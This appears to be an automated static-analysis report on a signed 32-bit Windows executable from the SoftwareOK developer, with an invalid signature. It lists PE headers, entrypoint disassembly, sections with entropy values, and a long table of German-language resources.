Icon Hash:	be9bb9b9999be7ed

Static PE Info

General

Entrypoint:	0x5320d2
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x6707ABDB [Thu Oct 10 10:26:35 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	4f228f16c16ec1bcf199e23c75dd44fc

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	24/07/2024 06:16:20 27/08/2026 10:33:53
Subject Chain	E=support@softwareok.com, CN=Nenad Hrg, O=Nenad Hrg, STREET=Edelweissstr. 104, L=Taufkirchen, S=Bayern, C=DE, OID.1.3.6.1.4.1.311.60.2.1.1=Taufkirchen, OID.1.3.6.1.4.1.311.60.2.1.2=Bayern, OID.1.3.6.1.4.1.311.60.2.1.3=DE, SERIALNUMBER=2016, OID.2.5.4.15=Private Organization
Version:	3
Thumbprint MD5:	02FA1932AC9D3D360F3D0323CCDA30EC
Thumbprint SHA-1:	0181DA2D78A2EC6E6966C59A0A663E9D8F0C2F93
Thumbprint SHA-256:	AD02A24C8D2FFBC5F7E946048F23967690A9EE43C5B6842093AD345CA83FB7B5
Serial:	688627716A10C6EBD3648632

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push FFFFFFFFh
push 00543668h
push 005334DCh
mov eax, dword ptr fs:[00000000h]
push eax
mov dword ptr fs:[00000000h], esp
sub esp, 58h
push ebx
push esi
push edi
mov dword ptr [ebp-18h], esp
call dword ptr [00541248h]
xor edx, edx
mov dl, ah
mov dword ptr [00563EA0h], edx
mov ecx, eax
and ecx, 000000FFh
mov dword ptr [00563E9Ch], ecx
shl ecx, 08h
add ecx, edx
mov dword ptr [00563E98h], ecx
shr eax, 10h
mov dword ptr [00563E94h], eax
push 00000001h
call 00007F3B157A07D3h
pop ecx
test eax, eax
jne 00007F3B1579DCDAh
push 0000001Ch
call 00007F3B1579DD97h
pop ecx
call 00007F3B157A057Eh
test eax, eax
jne 00007F3B1579DCDAh
push 00000010h
call 00007F3B1579DD86h
pop ecx
xor esi, esi
mov dword ptr [ebp-04h], esi
call 00007F3B157A03ACh
call 00007F3B157A0306h
mov dword ptr [00565874h], eax
call 00007F3B157A018Fh
mov dword ptr [00563E60h], eax
call 00007F3B1579FF5Ch
call 00007F3B1579FE9Fh
call 00007F3B1579F6A7h
mov dword ptr [ebp-30h], esi
lea eax, dword ptr [ebp-5Ch]
push eax
call dword ptr [0054124Ch]
call 00007F3B1579FE43h
mov dword ptr [ebp-64h], eax
test byte ptr [ebp-30h], 00000001h
je 00007F3B1579DCD8h
movzx eax, word ptr [ebp-2Ch]

Rich Headers

Programming Language:

[ C ] VS98 (6.0) SP6 build 8804
[C++] VS98 (6.0) SP6 build 8804
[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x144130	0x12c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x167000	0xdc000	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x232000	0x2908	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x1436f0	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x141000	0x8a4	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x13f46a	0x140000	07a9dad5977605685f96894d01fe5a8b	False	0.4829109191894531	data	6.478058463785918	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x141000	0x5fa0	0x6000	f25978b09a81713f517e725e2e5f2c78	False	0.4333089192708333	OpenPGP Secret Key	5.791258720927899	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x147000	0x1e878	0xe000	ec1936b736c94eea19f03dd36b716a20	False	0.33839634486607145	data	3.937698602759879	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x166000	0x10	0x1000	620f0b67a91f7f74151bc5be745b7110	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x167000	0xdc000	0xdc000	8c66308e9500cd9af0005c23e2a36120	False	0.8207552823153409	data	7.626925285976308	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
IMG	0x194870	0x1520	Unicode text, UTF-16, big-endian text, with very long lines (2703), with no line terminators	German	Germany	1.0020340236686391
IMG	0x195d90	0x1896	data	German	Germany	1.001747696218621
IMG	0x197628	0x22b2	data	German	Germany	1.00123845980635
IMG	0x1998e0	0x1615	Unicode text, UTF-16, big-endian text, with very long lines (2825), with no line terminators	German	Germany	1.0019458694498495
IMG	0x19aef8	0x1e94	Unicode text, UTF-16, big-endian text, with very long lines (3912), with no line terminators	German	Germany	1.0014052120592745
IMG	0x19cd90	0x1f84	data	German	Germany	1.0013634110064453
IMG	0x19ed18	0x21c7	Unicode text, UTF-16, big-endian text, with very long lines (4322), with no line terminators	German	Germany	1.001272117497398
IMG	0x1a0ee0	0x2161	Unicode text, UTF-16, big-endian text, with very long lines (4271), with no line terminators	German	Germany	1.0012873025160913
IMG	0x1a3048	0x1db3	Unicode text, UTF-16, big-endian text, with very long lines (3800), with no line terminators	German	Germany	1.0014467973168486
IMG	0x1a4e00	0x22dc	data	German	Germany	1.001232631107127
IMG	0x1a70e0	0x1b9c	data	German	Germany	1.001556310130164
IMG	0x1a8c80	0x2040	data	German	Germany	1.0013323643410852
IMG	0x1aacc0	0x202b	data	German	Germany	1.0013357619914998
IMG	0x1accf0	0x2220	data	German	Germany	1.0012591575091576
IMG	0x1aef10	0x22c6	Unicode text, UTF-16, big-endian text, with very long lines (4449), with no line terminators	German	Germany	1.0012356773758706
IMG	0x1b11d8	0x2226	Unicode text, UTF-16, big-endian text, with very long lines (4370), with no line terminators	German	Germany	1.0012582932967284
IMG	0x1b3400	0x318d	data	German	Germany	1.0008671659440285
IMG	0x1b6590	0x179e	data	German	Germany	1.0018193847171684
IMG	0x1b7d30	0x2362	data	German	Germany	1.0012143961139324
IMG	0x1ba098	0x1fe0	Unicode text, UTF-16, big-endian text, with very long lines (4079), with no line terminators	German	Germany	1.0013480392156864
IMG	0x1bc078	0x209b	Unicode text, UTF-16, big-endian text, with very long lines (4172), with no line terminators	German	Germany	1.001317838744459
IMG	0x1be118	0x2000	data	German	Germany	1.0013427734375
IMG	0x1c0118	0x2046	data	German	Germany	1.0013313967562334
IMG	0x1c2160	0x31e	Unicode text, UTF-16, big-endian text, with very long lines (398), with no line terminators	German	Germany	1.0137844611528821
IMG	0x1c2480	0x2080	data	German	Germany	1.0013221153846155
IMG	0x1c4500	0x21cf	Unicode text, UTF-16, big-endian text, with very long lines (4326), with no line terminators	German	Germany	1.001270941652224
IMG	0x1c66d0	0x1de9	data	German	Germany	1.0014365939663052
IMG	0x1c84c0	0x21ff	Unicode text, UTF-16, big-endian text, with very long lines (4350), with no line terminators	German	Germany	1.001263931977479
IMG	0x1ca6c0	0x2270	data	German	Germany	1.0012477313974593
IMG	0x1cc930	0x1ee8	data	German	Germany	1.0013902932254803
IMG	0x1ce818	0x16b9	Unicode text, UTF-16, big-endian text, with very long lines (2907), with no line terminators	German	Germany	1.0018910091112256
IMG	0x1cfed8	0x2249	Unicode text, UTF-16, big-endian text, with very long lines (4387), with no line terminators	German	Germany	1.0012532756066994
IMG	0x1d2128	0x1cb2	data	German	Germany	1.0014974135583992
IMG	0x1d3de0	0x2193	data	German	Germany	1.0012798138452588
IMG	0x1d5f78	0x204b	Unicode text, UTF-16, big-endian text, with very long lines (4132), with no line terminators	German	Germany	1.001330591508407
IMG	0x1d7fc8	0x1e7e	data	German	Germany	1.0014091724314629
IMG	0x1d9e48	0x208d	Unicode text, UTF-16, big-endian text, with very long lines (4165), with no line terminators	German	Germany	1.001320052802112
IMG	0x1dbed8	0x1f86	data	German	Germany	1.001363073110285
IMG	0x1dde60	0x1856	data	German	Germany	1.0017656500802568
PNG	0x1df6b8	0x3d35	PNG image data, 722 x 72, 8-bit colormap, non-interlaced	German	Germany	1.0007020231029422
PNG	0x1e33f0	0x1eb	PNG image data, 24 x 48, 8-bit/color RGBA, non-interlaced	German	Germany	1.0224032586558045
PNG	0x1e35e0	0x254	PNG image data, 24 x 48, 8-bit/color RGBA, non-interlaced	German	Germany	1.0184563758389262
PNG	0x1e3838	0x207	PNG image data, 24 x 48, 8-bit/color RGBA, non-interlaced	German	Germany	1.0211946050096339
PNG	0x1e3a40	0x114	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced	German	Germany	1.0181159420289856
PNG	0x1e3b58	0x262	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced	German	Germany	1.018032786885246
PNG	0x1e3dc0	0xf38	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	German	Germany	1.00282340862423
PNG	0x1e4cf8	0x9ab	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced	German	Germany	1.0044444444444445
PNG	0x1e56a8	0x9bb	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced	German	Germany	1.004415897230028
PNG	0x1e6068	0x3f7	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced	German	Germany	1.0108374384236454
PNG	0x1e6460	0x1185	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced	German	Germany	1.002452619843924
PNG	0x1e75e8	0x938	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced	German	Germany	1.0046610169491526
PNG	0x1e7f20	0x3fd	PNG image data, 48 x 48, 8-bit colormap, non-interlaced	German	Germany	0.30166503428011754
PNG	0x1e8320	0x99b	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced	German	Germany	1.0044733631557543
PNG	0x1e8cc0	0x940	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced	German	Germany	1.0046452702702702
TEXTINCLUDE	0x1e9600	0x4f	ASCII text, with CRLF line terminators	German	Germany	1.0126582278481013
WAVE	0x1e9650	0x89a	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 22050 Hz	German	Germany	0.8160762942779292
ZIP	0x1e9ef0	0x16	Zip archive data (empty)	German	Germany	0.6363636363636364
RT_BITMAP	0x16af50	0x15f2	Device independent bitmap graphic, 560 x 192 x 4, 2 compression, image size 5514	German	Germany	0.3203987184051264
RT_BITMAP	0x16c548	0x6e8	Device independent bitmap graphic, 208 x 16 x 4, image size 1664	German	Germany	0.24547511312217193
RT_BITMAP	0x16cc30	0x984	Device independent bitmap graphic, 368 x 16 x 4, 2 compression, image size 2332	German	Germany	0.24507389162561577
RT_BITMAP	0x16d5b8	0x768	Device independent bitmap graphic, 224 x 16 x 4, image size 1792	German	Germany	0.30116033755274263
RT_BITMAP	0x16dd20	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120	German	Germany	0.35267857142857145
RT_BITMAP	0x16de00	0x28b8	Device independent bitmap graphic, 624 x 15 x 8, image size 9360	German	Germany	0.39188411358403685
RT_BITMAP	0x1706b8	0x868	Device independent bitmap graphic, 256 x 16 x 4, image size 2048, 16 important colors	German	Germany	0.24117100371747213
RT_BITMAP	0x170f20	0xd68	Device independent bitmap graphic, 416 x 16 x 4, image size 3328	German	Germany	0.1561771561771562
RT_BITMAP	0x171c88	0xd68	Device independent bitmap graphic, 416 x 16 x 4, image size 3328, 16 important colors	German	Germany	0.3068181818181818
RT_BITMAP	0x1729f0	0x158	Device independent bitmap graphic, 32 x 15 x 4, image size 240	German	Germany	0.4622093023255814
RT_BITMAP	0x172b48	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120	German	Germany	0.41517857142857145
RT_BITMAP	0x172c28	0x4e8	Device independent bitmap graphic, 144 x 16 x 4, image size 1152	German	Germany	0.43789808917197454
RT_BITMAP	0x173110	0x1e8	Device independent bitmap graphic, 48 x 16 x 4, image size 384	German	Germany	0.4139344262295082
RT_BITMAP	0x1732f8	0x468	Device independent bitmap graphic, 128 x 16 x 4, image size 1024	German	Germany	0.24202127659574468
RT_BITMAP	0x173760	0x11c	Device independent bitmap graphic, 16 x 16 x 4, 2 compression, image size 180, 16 important colors	German	Germany	0.5176056338028169
RT_BITMAP	0x173880	0xb8	Device independent bitmap graphic, 10 x 10 x 4, image size 80, 16 important colors	German	Germany	0.45652173913043476
RT_BITMAP	0x173938	0x1e8	Device independent bitmap graphic, 48 x 16 x 4, image size 384	German	Germany	0.32581967213114754
RT_BITMAP	0x173b20	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120	German	Germany	0.32589285714285715
RT_BITMAP	0x173c00	0x110	Device independent bitmap graphic, 18 x 14 x 4, image size 168	German	Germany	0.30514705882352944
RT_BITMAP	0x173d10	0x3e8	Device independent bitmap graphic, 112 x 16 x 4, image size 896	German	Germany	0.217
RT_BITMAP	0x1740f8	0x248	Device independent bitmap graphic, 64 x 15 x 4, image size 480	German	Germany	0.2345890410958904
RT_BITMAP	0x174340	0x2e8	Device independent bitmap graphic, 80 x 16 x 4, image size 640	German	Germany	0.4637096774193548
RT_BITMAP	0x174628	0x5b8	Device independent bitmap graphic, 11 x 100 x 8, 1 compression, image size 400, resolution 2851 x 2851 px/m, 256 important colors	German	Germany	0.6919398907103825
RT_BITMAP	0x174be0	0xd4	Device independent bitmap graphic, 18 x 9 x 4, image size 108	German	Germany	0.42924528301886794
RT_BITMAP	0x174cb8	0x158	Device independent bitmap graphic, 32 x 15 x 4, image size 240	German	Germany	0.22965116279069767
RT_BITMAP	0x174e10	0x158	Device independent bitmap graphic, 30 x 15 x 4, image size 240	German	Germany	0.2877906976744186
RT_BITMAP	0x174f68	0x428	Device independent bitmap graphic, 128 x 15 x 4, image size 960	German	Germany	0.38721804511278196
RT_BITMAP	0x175390	0x568	Device independent bitmap graphic, 160 x 16 x 4, image size 1280	German	Germany	0.25289017341040465
RT_BITMAP	0x1758f8	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128, 16 important colors	German	Germany	0.2974137931034483
RT_BITMAP	0x1759e0	0x6e8	Device independent bitmap graphic, 208 x 16 x 4, image size 1664	German	Germany	0.20418552036199095
RT_BITMAP	0x1760c8	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768, 16 important colors	German	Germany	0.18463302752293578
RT_BITMAP	0x176430	0x1d0	Device independent bitmap graphic, 48 x 15 x 4, image size 360, 16 important colors	German	Germany	0.3900862068965517
RT_BITMAP	0x176600	0x168	Device independent bitmap graphic, 32 x 16 x 4, image size 256, 16 important colors	German	Germany	0.49166666666666664
RT_BITMAP	0x176768	0xa20	Device independent bitmap graphic, 512 x 44 x 4, 2 compression, image size 2488, resolution 2835 x 2835 px/m, 16 important colors	German	Germany	0.3584104938271605
RT_BITMAP	0x177188	0x3468	Device independent bitmap graphic, 832 x 32 x 4, image size 13312	German	Germany	0.04777877161598092
RT_BITMAP	0x17a5f0	0xd58	Device independent bitmap graphic, 141 x 46 x 4, image size 3312	German	Germany	0.06352459016393443
RT_BITMAP	0x17b348	0xd8	Device independent bitmap graphic, 14 x 14 x 4, image size 112	German	Germany	0.38425925925925924
RT_BITMAP	0x17b420	0x5ba	Device independent bitmap graphic, 11 x 100 x 8, 1 compression, image size 402	German	Germany	0.6630286493860846
RT_BITMAP	0x17b9e0	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120	German	Germany	0.25892857142857145
RT_BITMAP	0x17bac0	0xc20	Device independent bitmap graphic, 80 x 75 x 4, image size 3000	English	United States	0.022873711340206184
RT_BITMAP	0x17c6e0	0x1328	Device independent bitmap graphic, 128 x 75 x 4, image size 4800	German	Germany	0.014885807504078303
RT_BITMAP	0x17da08	0x1568	Device independent bitmap graphic, 112 x 96 x 4, image size 5376	German	Germany	0.03594890510948905
RT_BITMAP	0x17ef70	0x11e8	Device independent bitmap graphic, 112 x 80 x 4, image size 4480	German	Germany	0.01592495636998255
RT_BITMAP	0x180158	0x1568	Device independent bitmap graphic, 112 x 96 x 4, image size 5376	German	Germany	0.01332116788321168
RT_ICON	0x187278	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	German	Germany	0.46908602150537637
RT_ICON	0x188b70	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	German	Germany	0.1760752688172043
RT_ICON	0x18d1e8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	German	Germany	0.17876344086021506
RT_ICON	0x18fd60	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	German	Germany	0.14650537634408603
RT_ICON	0x190048	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	German	Germany	0.3783783783783784
RT_ICON	0x190170	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	German	Germany	0.23648648648648649
RT_ICON	0x190298	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	German	Germany	0.3581081081081081
RT_ICON	0x1903c0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	German	Germany	0.2217741935483871
RT_ICON	0x1906a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	German	Germany	0.5506756756756757
RT_ICON	0x187560	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	German	Germany	0.46959459459459457
RT_ICON	0x187688	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	German	Germany	0.30405405405405406
RT_ICON	0x1877b0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	German	Germany	0.1760752688172043
RT_ICON	0x187a98	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	German	Germany	0.5304054054054054
RT_ICON	0x187bc0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	German	Germany	0.3024193548387097
RT_ICON	0x187ea8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	German	Germany	0.40202702702702703
RT_ICON	0x187fd0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	German	Germany	0.1760752688172043
RT_ICON	0x1882b8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	German	Germany	0.17876344086021506
RT_ICON	0x1885a0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	German	Germany	0.1814516129032258
RT_ICON	0x188888	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	German	Germany	0.17338709677419356
RT_ICON	0x188e58	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	German	Germany	0.30319148936170215
RT_ICON	0x1892c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	German	Germany	0.42907801418439717
RT_ICON	0x189728	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	German	Germany	0.5317919075144508
RT_ICON	0x189c90	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	German	Germany	0.5223988439306358
RT_ICON	0x18a1f8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	German	Germany	0.31586021505376344
RT_ICON	0x18a4e0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	German	Germany	0.600609756097561
RT_ICON	0x18b588	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	German	Germany	0.0846774193548387
RT_ICON	0x18b870	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	German	Germany	0.4294090056285178
RT_ICON	0x18c918	0x368	Device independent bitmap graphic, 16 x 32 x 24, image size 832	German	Germany	0.6353211009174312
RT_ICON	0x18cc80	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	German	Liechtenstein	0.3439306358381503
RT_ICON	0x18d4d0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	German	Germany	0.13709677419354838
RT_ICON	0x18d7b8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	German	Germany	0.03309128630705394
RT_MENU	0x190b88	0x1c28	data	German	Germany	0.29009433962264153
RT_MENU	0x1927b0	0x3a2	data	German	Germany	0.4376344086021505
RT_MENU	0x192b58	0x20c	data	German	Germany	0.383587786259542
RT_MENU	0x192d68	0x42	data	German	Germany	0.7272727272727273
RT_MENU	0x192db0	0x7e0	data	German	Germany	0.30257936507936506
RT_MENU	0x193590	0x4e2	data	German	Germany	0.2984
RT_MENU	0x193a78	0x8f0	data	German	Germany	0.30288461538461536
RT_MENU	0x194368	0x20	data	German	Germany	0.90625
RT_MENU	0x194388	0x12	data	German	Germany	1.2777777777777777
RT_DIALOG	0x1816c0	0x418	data	German	Germany	0.40935114503816794
RT_DIALOG	0x181ad8	0x2ce	data	German	Germany	0.49303621169916434
RT_DIALOG	0x181da8	0xc0	data	German	Germany	0.5989583333333334
RT_DIALOG	0x181e68	0x80	data	German	Germany	0.7109375
RT_DIALOG	0x181ee8	0xf0	data	German	Germany	0.6708333333333333
RT_DIALOG	0x181fd8	0x98	data	German	Germany	0.7763157894736842
RT_DIALOG	0x182070	0x5a	data	German	Germany	0.8111111111111111
RT_DIALOG	0x1820d0	0xa4	data	German	Germany	0.7012195121951219
RT_DIALOG	0x182178	0x270	data	German	Germany	0.48717948717948717
RT_DIALOG	0x1823e8	0x34	data	German	Germany	0.8076923076923077
RT_DIALOG	0x182420	0x234	data	German	Germany	0.5283687943262412
RT_DIALOG	0x182658	0xe0	data	German	Germany	0.6071428571428571
RT_DIALOG	0x182738	0x82	data	German	Germany	0.7615384615384615
RT_DIALOG	0x1827c0	0x4c	data	German	Germany	0.8289473684210527
RT_DIALOG	0x182810	0x44c	data	German	Germany	0.4445454545454545
RT_DIALOG	0x182c60	0x1b0	data	German	Germany	0.5509259259259259
RT_DIALOG	0x182e10	0xee	data	German	Germany	0.7310924369747899
RT_DIALOG	0x182f00	0x60e	data	German	Germany	0.4535483870967742
RT_DIALOG	0x183510	0x16e	data	German	Germany	0.6366120218579235
RT_DIALOG	0x183680	0xa6	data	German	Germany	0.7469879518072289
RT_DIALOG	0x183728	0x1d2	data	German	Germany	0.5343347639484979
RT_DIALOG	0x183900	0x1de	data	German	Germany	0.5627615062761506
RT_DIALOG	0x183ae0	0x218	data	German	Germany	0.498134328358209
RT_DIALOG	0x183cf8	0x1d0	data	German	Germany	0.6056034482758621
RT_DIALOG	0x183ec8	0x13c	data	German	Germany	0.6708860759493671
RT_DIALOG	0x184008	0x2fe	data	German	Germany	0.47389033942558745
RT_DIALOG	0x184308	0x40	data	German	Germany	0.8125
RT_DIALOG	0x184348	0x98	data	German	Germany	0.75
RT_DIALOG	0x1843e0	0x31a	data	German	Germany	0.5226700251889169
RT_DIALOG	0x184700	0x170	data	German	Germany	0.6385869565217391
RT_DIALOG	0x184870	0x64	data	German	Germany	0.81
RT_DIALOG	0x1848d8	0x106	data	German	Germany	0.6374045801526718
RT_DIALOG	0x1849e0	0x8c	data	German	Germany	0.7357142857142858
RT_DIALOG	0x184a70	0xb2	data	German	Germany	0.7134831460674157
RT_DIALOG	0x184b28	0x80	data	German	Germany	0.71875
RT_DIALOG	0x184ba8	0xdc	data	German	Germany	0.6863636363636364
RT_DIALOG	0x184c88	0xa6	data	German	Germany	0.6927710843373494
RT_DIALOG	0x184d30	0xee	data	German	Germany	0.7184873949579832
RT_DIALOG	0x184e20	0x52	data	German	Germany	0.8536585365853658
RT_DIALOG	0x184e78	0x40	data	German	Germany	0.84375
RT_DIALOG	0x184eb8	0x194	data	German	Germany	0.5891089108910891
RT_DIALOG	0x185050	0x42c	data	German	Germany	0.397940074906367
RT_DIALOG	0x185480	0x96	data	German	Germany	0.66
RT_DIALOG	0x185518	0x40	data	German	Germany	0.828125
RT_DIALOG	0x185558	0x18a	data	German	Germany	0.5964467005076142
RT_DIALOG	0x1856e8	0x14e	data	German	Germany	0.5778443113772455
RT_DIALOG	0x185838	0x1c0	data	German	Germany	0.5915178571428571
RT_DIALOG	0x1859f8	0x34	data	German	Germany	0.7884615384615384
RT_DIALOG	0x185a30	0xe4	data	German	Germany	0.5
RT_DIALOG	0x185b18	0x40	data	German	Germany	0.796875
RT_DIALOG	0x185b58	0x2ac	data	German	Germany	0.38596491228070173
RT_DIALOG	0x185e08	0x96	data	German	Germany	0.66
RT_DIALOG	0x185ea0	0x14c	data	German	Germany	0.641566265060241
RT_DIALOG	0x185ff0	0x88	data	German	Germany	0.8088235294117647
RT_DIALOG	0x186078	0x42	data	German	Germany	0.8484848484848485
RT_STRING	0x1943d0	0x2a	data	German	Germany	0.5
RT_STRING	0x1943a0	0x2c	data	German	Germany	0.36363636363636365
RT_ACCELERATOR	0x16ae70	0x70	data	German	Germany	0.875
RT_ACCELERATOR	0x16aee0	0x20	data	German	Germany	1.09375
RT_ACCELERATOR	0x16af00	0x50	data	German	Germany	0.925
RT_GROUP_ICON	0x1860c0	0x22	data	German	Germany	1.1470588235294117
RT_GROUP_ICON	0x1860e8	0x14	data	German	Germany	1.2
RT_GROUP_ICON	0x186100	0x14	data	German	Germany	1.25
RT_GROUP_ICON	0x186118	0x14	data	German	Germany	1.2
RT_GROUP_ICON	0x186130	0x14	data	German	Germany	1.25
RT_GROUP_ICON	0x186148	0x14	data	German	Germany	1.25
RT_GROUP_ICON	0x186160	0x14	data	German	Germany	1.2
RT_GROUP_ICON	0x186178	0x14	data	German	Germany	1.25
RT_GROUP_ICON	0x186190	0x14	data	German	Germany	1.25
RT_GROUP_ICON	0x1861a8	0x14	data	German	Germany	1.25
RT_GROUP_ICON	0x1861c0	0x14	data	German	Germany	1.25
RT_GROUP_ICON	0x1861d8	0x14	data	German	Germany	1.25
RT_GROUP_ICON	0x1861f0	0x14	data	German	Germany	1.25
RT_GROUP_ICON	0x186208	0x14	data	German	Germany	1.25
RT_GROUP_ICON	0x186220	0x14	data	German	Germany	1.25
RT_GROUP_ICON	0x186238	0x14	data	German	Germany	1.25
RT_GROUP_ICON	0x186250	0x14	data	German	Germany	1.25
RT_GROUP_ICON	0x186268	0x14	data	German	Germany	1.25
RT_GROUP_ICON	0x186280	0x14	data	German	Germany	1.25
RT_GROUP_ICON	0x186298	0x14	data	German	Germany	1.25
RT_GROUP_ICON	0x1862b0	0x14	data	German	Germany	1.25
RT_GROUP_ICON	0x1862c8	0x14	data	German	Germany	1.25
RT_GROUP_ICON	0x1862e0	0x14	data	German	Germany	1.25
RT_GROUP_ICON	0x1862f8	0x14	data	German	Germany	1.25
RT_GROUP_ICON	0x186310	0x14	data	German	Germany	1.2
RT_GROUP_ICON	0x186328	0x14	data	German	Liechtenstein	1.25
RT_GROUP_ICON	0x186340	0x14	data	German	Germany	1.25
RT_GROUP_ICON	0x186358	0x14	data	German	Germany	1.25
RT_GROUP_ICON	0x186370	0x14	data	German	Germany	1.25
RT_GROUP_ICON	0x186388	0x14	data	German	Germany	1.25
RT_VERSION	0x194400	0x470	data			0.41901408450704225
RT_HTML	0x1863a0	0x742	HTML document, ISO-8859 text, with CRLF, LF line terminators	German	Germany	0.4714747039827772
RT_HTML	0x186ae8	0x69c	HTML document, ASCII text, with CRLF, LF line terminators	German	Germany	0.4521276595744681
RT_HTML	0x187188	0xf0	HTML document, ASCII text, with CRLF line terminators	German	Germany	0.6625
RT_MANIFEST	0x1907d0	0x3b2	XML 1.0 document, ASCII text, with CRLF line terminators	German	Germany	0.4365750528541226
None	0x16a740	0xaa	data	German	Germany	0.40588235294117647
None	0x16a7f0	0xaa	data	German	Germany	0.3941176470588235
None	0x16a8a0	0xaa	data	German	Germany	0.40588235294117647
None	0x16a950	0xaa	data	German	Germany	0.40588235294117647
None	0x16aa00	0xb0	data	German	Germany	0.45454545454545453
None	0x16aab0	0x2c	data	German	Germany	1.0909090909090908
None	0x16aae0	0x36	data	German	Germany	1.1481481481481481
None	0x16ab18	0x2c	data	German	Germany	1.1136363636363635
None	0x16ab48	0xa	data	German	Germany	1.8
None	0x16ab58	0x56	data	German	Germany	0.8837209302325582
None	0x16abb0	0x30	data	German	Germany	1.0833333333333333
None	0x16abe0	0x3c	data	German	Germany	1.1333333333333333
None	0x16ac20	0x46	data	German	Germany	1.1
None	0x16ac68	0xc	data	German	Germany	1.6666666666666667
None	0x16ac78	0xa	data	German	Germany	1.8
None	0x16ac88	0x1e	data	German	Germany	1.1666666666666667
